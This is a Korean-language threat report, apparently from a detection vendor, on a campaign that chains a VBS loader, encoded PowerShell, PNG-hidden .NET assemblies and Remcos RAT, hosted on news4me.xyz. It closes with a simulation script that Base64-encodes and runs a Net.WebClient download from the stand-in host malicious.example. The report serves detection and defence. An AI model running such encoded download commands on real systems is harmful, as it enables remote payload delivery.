다중 벡터 악성코드 캠페인 추적: VBS에서 오픈 인프라까지
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 유니코드로 난독화된 VBS 로더로 시작하여 파일리스 PowerShell 로더로 전환되고 나중에 메모리에서 실행되는 .NET 어셈블리를 숨기기 위해 PNG 파일을 사용하는 모듈식 멀티 스테이지 멀웨어 캠페인을 다룹니다. 그 후 캠페인은 Remcos RAT, UAC 우회 DLL 및 Python 기반 도구를 포함한 여러 페이로드를 전달할 수 있습니다. 위협 행위자는 모든 도구 세트를 단일 .xyz 도메인과 여러 Cloudflare 지원 하위 도메인에 공개적으로 접근 가능한 디렉토리에 호스팅하여 빠른 페이로드 교체와 무기화된 PDF 및 악성 배치 스크립트와 같은 여러 전달 경로를 허용합니다.
조사
LevelBlue의 MDR SOC는 SentinelOne을 통해 초기 VBS 아티팩트를 감지하고 격리하여 분석을 위해 스크립트를 디코딩했습니다. 조사관들은 내재된 .NET 어셈블리를 포함한 PNG 파일을 다운로드하는 Base64로 인코딩된 PowerShell 명령을 발견했으며, 이는 반사 방식을 통해 직접 메모리에 로드되었습니다. 보다 광범위한 인프라 검토에서 추가 VBS 로더와 함께 악성 배치 파일, ZIP 아카이브 및 동일한 캠페인에 연결된 Python 페이로드를 서비스하는 열린 디렉토리를 노출했습니다.
완화
권장 방어 조치에는 사용자 쓰기 가능한 경로에서 .vbs와 .bat 같은 고위험 스크립트 유형의 실행을 제한하고, PowerShell 사용에 대한 엄격한 통제 적용 및 메모리 내 .NET 로딩을 모니터링하는 것이 포함됩니다. 방어자는 또한 .xyz 도메인을 차단하고 인터넷 단축 파일을 통해 악용된 WebDAV 트래픽을 면밀히 감시하거나 제한해야 합니다. 네트워크 레이어에서는 알려진 악성 인프라에의 접근을 필터링하여 캠페인을 조기에 중단할 수 있습니다.
대응
이 활동이 감지되면 영향을 받은 엔드포인트를 격리하고 모든 관련 도메인과 URL을 차단하며 관련 VBS 및 PowerShell 아티팩트를 찾아야 합니다. 조사관은 반사된 .NET 어셈블리를 찾고 노출된 디렉토리에서 생성된 예약 작업 또는 파일을 점검해야 합니다. 감지 콘텐츠는 PNG 기반 페이로드 스테이징 및 캠페인에 연결된 배치 또는 Python 구성 요소를 식별하도록 업데이트되어야 합니다.
"graph TB %% 클래스 정의 classDef action fill:#c2e0ff classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef infrastructure fill:#d9ffcc %% 노드 node_vbs_file["<b>맬웨어</b> – <b>이름</b>: 악성 VBS<br/><b>위치</b>: UsersPublicDownloadsName_File.vbs"] class node_vbs_file malware node_t1059_005["<b>기법</b> – T1059.005 명령 및 스크립트 인터프리터: Visual Basic<br/><b>설명</b>: 명령 실행을 위한 VBS 스크립트 실행"] class node_t1059_005 technique node_t1027["<b>기법</b> – T1027 난독화된 파일 또는 정보<br/><b>설명</b>: 유니코드 및 Base64 난독화 사용"] class node_t1027 technique node_vbs_decode["<b>작업</b> – Base64 PowerShell 명령 디코딩"] class node_vbs_decode action node_t1059_001["<b>기법</b> – T1059.001 PowerShell<br/><b>설명</b>: PowerShell 명령 실행"] class node_t1059_001 technique node_tls12["<b>작업</b> – 네트워크 연결을 위한 TLS1.2 강제 적용"] class node_tls12 action node_download_png["<b>작업</b> – HTTP URL에서 PNG 페이로드 다운로드"] class node_download_png action node_t1071_001["<b>기법</b> – T1071.001 애플리케이션 레이어 프로토콜: 웹 프로토콜<br/><b>설명</b>: 전송을 위한 HTTP/HTTPS 사용"] class node_t1071_001 technique node_t1659["<b>기법</b> – T1659 콘텐츠 주입<br/><b>설명</b>: 정상 파일에 악성 콘텐츠 주입"] class node_t1659 technique node_png_extraction["<b>작업</b> – PNG에서 Base64 .NET 어셈블리 추출"] class node_png_extraction action node_t1620["<b>기법</b> – T1620 반사적 코드 로딩<br/><b>설명</b>: 메모리에 .NET 어셈블리 직접 로드"] class node_t1620 technique node_loader["<b>맬웨어</b> – PhantomVAI .NET 로더"] class node_loader malware node_fetch_payloads["<b>작업</b> – 추가 페이로드 URL 가져오기"] class node_fetch_payloads action node_remcos_rat["<b>맬웨어</b> – Remcos 원격 액세스 트로이 목마"] class node_remcos_rat malware node_uac_bypass["<b>기법</b> – T1548.002 사용자 계정 컨트롤 우회<br/><b>설명</b>: 상승 제어 메커니즘 우회"] class node_uac_bypass technique node_scheduled_task["<b>기법</b> – T1053 예약 작업/작업<br/><b>설명</b>: 지속성을 위한 예약 작업 생성"] class node_scheduled_task technique node_secondary_stage["<b>작업</b> – 배치 및 Python 스크립트 배포"] class node_secondary_stage action node_process_injection["<b>기법</b> – T1055 프로세스 주입<br/><b>설명</b>: 실행 중인 프로세스에 페이로드 주입"] class node_process_injection technique node_download_further["<b>작업</b> – Cloudflare 디렉토리에서 추가 파일 다운로드"] class node_download_further action node_c2_communication["<b>기법</b> – T1102.002 웹 서비스: 양방향 통신<br/><b>설명</b>: 웹 서비스를 사용하는 HTTPS C2 트래픽"] class node_c2_communication technique node_open_directory["<b>인프라</b> – 오픈 디렉토리 호스팅 (news4me.xyz, Cloudflare)"] class node_open_directory infrastructure %% 연결 node_vbs_file –>|사용| node_t1059_005 node_vbs_file –>|사용| node_t1027 node_vbs_file –>|실행| node_vbs_decode node_vbs_decode –>|실행| node_t1059_001 node_vbs_decode –>|강제| node_tls12 node_vbs_decode –>|다운로드| node_download_png node_download_png –>|사용| node_t1071_001 node_download_png –>|사용 가능성| node_t1659 node_download_png –>|포함| node_png_extraction node_png_extraction –>|로드 방식| node_t1620 node_t1620 –>|로드| node_loader node_loader –>|가져오기| node_fetch_payloads node_fetch_payloads –>|전달| node_remcos_rat node_fetch_payloads –>|전달| node_uac_bypass node_loader –>|생성| node_scheduled_task node_loader –>|생성| node_secondary_stage node_secondary_stage –>|수행| node_process_injection node_secondary_stage –>|다운로드| node_download_further node_download_further –>|통신| node_c2_communication node_c2_communication –>|호스팅| node_open_directory "
공격 흐름
탐지
의심스러운 Trycloudflare 도메인 통신 (DNS 통해)
보기
비정상 프로세스로 인해 해결된 인터넷 아카이브 가능성 (dns_query 통해)
보기
의심스러운 PowerShell 스트링 (powershell 통해)
보기
LOLBAS WScript / CScript (process_creation 통해)
보기
비정상적 최상위 도메인(TLD) DNS 요청을 통한 의심스러운 명령 및 제어
보기
PowerShell에서 의심스러운 .NET 메서드 호출 (powershell 통해)
보기
IOCs(HashSha1)로 탐지: 다중 벡터 맬웨어 캠페인 추적: VBS에서 오픈 인프라까지 Part 1
보기
IOCs(HashSha1)로 탐지: 다중 벡터 맬웨어 캠페인 추적: VBS에서 오픈 인프라까지 Part 2
보기
Base64로 인코딩된 PowerShell 명령 탐지 넷닷웹클라이언트 [Windows PowerShell]
보기
PowerShell 로더가 PNG 및 TXT URLs에 접근 [윈도우 네트워크 연결]
보기
VAI 로더를 통한 VBS에서의 반사적으로 로드된 .NET 실행 방법 탐지 [윈도우 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 사전 점검이 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하기 위해 설계된 적대적 기술(TTP)의 정확한 실행을 세부적으로 설명합니다. 명령과 내러티브는 반드시 식별된 TTP를 직접 반영해야 하며 탐지 논리로 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.
-
공격 내러티브 & 명령:
적대자는 원격 HTTP 서버에서 악성 페이로드를 다운로드하고 실행하는 PowerShell 원라이너를 획득했습니다. 간단한 스크립트 파일 탐지를 회피하기 위해 명령이 Base64로 인코딩되었으며,
powershell.exe -EncodedCommand로 실행됩니다. 따라서 명령줄에는 규칙이 감지하는 세 가지 문자열이 포함됩니다: 파워셸, Base64, 그리고 Net.WebClient.-
공격자는 PowerShell 스크립트를 작성합니다:
$wc = New-Object System.Net.WebClient; $wc.DownloadString('http://malicious.example/payload'); -
스크립트는 UTF-16LE로 인코딩되고 Base64로 인코딩됩니다.
-
공격자는 Windows 명령 프롬프트(또는 예약 작업)에서 인코딩된 명령을 실행합니다.
-
-
회귀 테스트 스크립트:
# -------------------------------------------------------------- # Base64로 인코딩된 Net.WebClient 다운로드를 시뮬레이션하는 PowerShell 스크립트 # -------------------------------------------------------------- # 1. 악의적인 PowerShell 원라이너를 정의합니다 $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');' # 2. 명령을 UTF-16LE로 인코딩한 후 Base64로 인코딩 $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious) $b64 = [Convert]::ToBase64String($bytes) # 3. 인코딩된 명령 실행 – 이 줄은 Sigma 규칙이 찾고 있는 텔레메트리를 생성합니다 (powershell + Base64 + Net.WebClient) powershell.exe -EncodedCommand $b64 -
정리 명령:
# -------------------------------------------------------------- # 정리 – 테스트에 의해 시작된 잔류 PowerShell 프로세스 종료 # -------------------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } | Stop-Process -Force # 임시 파일 제거 (이 테스트에서 생성된 파일 없음)
보고서 끝